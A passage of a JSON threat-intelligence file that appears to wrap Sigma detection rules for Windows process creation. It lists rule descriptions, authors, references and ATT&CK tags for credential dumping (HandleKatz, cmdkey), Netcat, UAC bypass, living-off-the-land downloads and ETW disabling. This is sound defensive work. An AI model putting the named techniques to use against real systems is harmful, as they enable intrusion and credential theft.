used by MERCURY threat actor", "meta": { "author": "Florian Roth", "creation_date": "2022/08/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_mercury.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.g0069" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", "value": "MERCURY Command Line Patterns" }, { "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Very Possible" ], "filename": "proc_creation_win_lolbin_diantz_ads.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", "value": "Suspicious Diantz Alternate Data Stream Execution" }, { "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", "meta": { "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", "creation_date": "2022/02/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_outlook_shell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", "value": "Microsoft Outlook Product Spawning Windows Shell" }, { "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", "meta": { "author": "Christian Burkard, Florian Roth", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", "value": "UAC Bypass Tool UACMe Akagi" }, { "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_clip.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation CLIP+ Launcher" }, { "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Expected FP with some processes using this techniques to terminate one of their processes during installations and updates" ], "filename": "proc_creation_win_susp_taskkill.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", "value": "Suspicious Execution of Taskkill" }, { "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", "meta": { "author": "Florian Roth", "creation_date": "2021/01/21", "falsepositive": [ "Legitimate deinstallation by administrative staff" ], "filename": "proc_creation_win_susp_disable_raccine.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/Raccine", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", "value": "Raccine Uninstall" }, { "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", "meta": { "author": "Florian Roth", "creation_date": "2022/08/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_handlekatz.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/codewhitesec/HandleKatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", "value": "HandleKatz LSASS Dumper Usage" }, { "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", "meta": { "author": "Florian Roth, juju4, keepwatch", "creation_date": "2019/01/16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_certutil_command.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/835149808817991680", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", "https://twitter.com/egre55/status/1087685529016193025", "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140", "attack.command_and_control", "attack.t1105", "attack.s0160", "attack.g0007", "attack.g0010", "attack.g0045", "attack.g0049", "attack.g0075", "attack.g0096" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", "value": "Suspicious Certutil Command Usage" }, { "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", "meta": { "author": "Endgame, JHasenbusch (ported for oscd.community)", "creation_date": "2018/10/30", "falsepositive": [ "Legitimate use of net.exe utility by legitimate user" ], "filename": "proc_creation_win_net_enum.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "62510e69-616b-4078-b371-847da438cc03", "value": "Windows Network Enumeration" }, { "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", "meta": { "author": "Florian Roth (rule), David ANDRE (additional keywords)", "creation_date": "2021/12/20", "falsepositive": [ "Administrative activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity" ], "filename": "proc_creation_win_susp_system_user_anomaly.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://tools.thehacker.recipes/mimikatz/modules", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" ], "tags": "No established tags" }, "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", "value": "Suspicious SYSTEM User Process Creation" }, { "description": "Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes", "meta": { "author": "X__Junior, Florian Roth", "creation_date": "2022/12/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_rar_susp_greedy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://decoded.avast.io/martinchlumecky/png-steganography", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_susp_greedy.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "afe52666-401e-4a02-b4ff-5d128990b8cb", "value": "RAR Greedy Compression" }, { "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/31", "falsepositive": [ "Some installers were seen using this method of creation unfortunately. Filter them in your environment" ], "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", "value": "Suspicious Schtasks Schedule Type With High Privileges" }, { "description": "Detects new commands that add new printer port which point to suspicious file", "meta": { "author": "EagleEye Team, Florian Roth", "creation_date": "2020/05/13", "falsepositive": [ "New printer port install on host" ], "filename": "proc_creation_win_exploit_cve_2020_1048.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://windows-internals.com/printdemon-cve-2020-1048/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" ], "tags": [ "attack.persistence", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)" }, { "description": "Detect the use of Windows Defender to download payloads", "meta": { "author": "Matthew Matchen", "creation_date": "2020/09/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", "value": "Windows Defender Download Activity" }, { "description": "Detects some Empire PowerShell UAC bypass methods", "meta": { "author": "Ecco", "creation_date": "2019/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", "value": "Empire PowerShell UAC Bypass" }, { "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Legitimate admin scripts" ], "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", "value": "Suspicious CMD Shell Redirect" }, { "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", "value": "Bitsadmin Download to Uncommon Target Folder" }, { "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", "meta": { "author": "Florian Roth", "creation_date": "2021/05/05", "falsepositive": [ "Administrative activity (rare lookups on current privileges)" ], "filename": "proc_creation_win_whoami_priv.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" ], "tags": [ "attack.privilege_escalation", "attack.discovery", "attack.t1033" ] }, "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", "value": "Run Whoami Showing Privileges" }, { "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", "creation_date": "2021/12/07", "falsepositive": [ "Administrator, hotline ask to user" ], "filename": "proc_creation_win_susp_network_command.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" ], "tags": [ "attack.discovery", "attack.t1016" ] }, "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", "value": "Suspicious Network Command" }, { "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", "meta": { "author": "Florian Roth", "creation_date": "2018/09/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", "https://twitter.com/cyb3rops/status/1168863899531132929", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", "value": "Emissary Panda Malware SLLauncher" }, { "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", "meta": { "author": "Florian Roth", "creation_date": "2022/03/03", "falsepositive": [ "Possible Admin Activity", "Other Cmdlets that may use the same parameters" ], "filename": "proc_creation_win_powershell_defender_disable_feature.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", "value": "Powershell Defender Disable Scan Feature" }, { "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/01", "falsepositive": [ "Legitimate use when App-v is deployed" ], "filename": "proc_creation_win_lolbin_scriptrunner.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", "value": "Use of Scriptrunner.exe" }, { "description": "Detects usage of cmdkey to look for cached credentials", "meta": { "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", "creation_date": "2019/01/16", "falsepositive": [ "Legitimate administrative tasks" ], "filename": "proc_creation_win_cmdkey_recon.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" ], "tags": [ "attack.credential_access", "attack.t1003.005" ] }, "related": [ { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", "value": "Cmdkey Cached Credentials Recon" }, { "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", "value": "Bitsadmin Download to Suspicious Target Folder" }, { "description": "Detects when a user downloads file by using CertOC.exe", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/05/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_certoc_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", "value": "Suspicious File Download via CertOC.exe" }, { "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", "meta": { "author": "Florian Roth", "creation_date": "2021/07/24", "falsepositive": [ "Legitimate files with these rare hacktool names" ], "filename": "proc_creation_win_tools_relay_attacks.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://pentestlab.blog/2017/04/13/hot-potato/", "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", "https://github.com/ohpe/juicy-potato", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" ], "tags": [ "attack.execution", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", "value": "SMB Relay Attack Tools" }, { "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", "meta": { "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", "creation_date": "2019/03/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_slingshot.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securelist.com/apt-slingshot/84312/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" ], "tags": [ "attack.persistence", "attack.t1053.005", "attack.s0111" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", "value": "Defrag Deactivation" }, { "description": "Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "meta": { "author": "frack113, Florian Roth", "creation_date": "2021/07/21", "falsepositive": [ "Legitimate ncat use" ], "filename": "proc_creation_win_netcat_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nmap.org/ncat/", "https://www.revshells.com/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" ], "tags": [ "attack.command_and_control", "attack.t1095" ] }, "related": [ { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", "value": "Netcat Suspicious Execution" }, { "description": "Detects the use of SDelete to erase a file not the free space", "meta": { "author": "frack113", "creation_date": "2021/06/03", "falsepositive": [ "System administrator usage" ], "filename": "proc_creation_win_sdelete.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a4824fca-976f-4964-b334-0621379e84c4", "value": "Sysinternals SDelete Delete File" }, { "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", "meta": { "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/03/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_etw_trace_evasion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "https://abuse.io/lockergoga.txt", "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.t1562.006", "car.2016-04-002" ] }, "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", "value": "Disable of ETW Trace" }, { "description": "Detects suspicious powershell command line parameters used in Empire", "meta": { "author": "Florian Roth", "creation_date": "2019/04/20", "falsepositive": [ "Other tools that incidentally use the same command line parameters" ], "filename": "proc_creation_win_susp_powershell_empire_launch.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", "value": "Empire PowerShell Launch Parameters" }, { "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", "meta": { "author": "frack113", "creation_date": "2021/12/27", "falsepositive": [ "Tools that accidentally 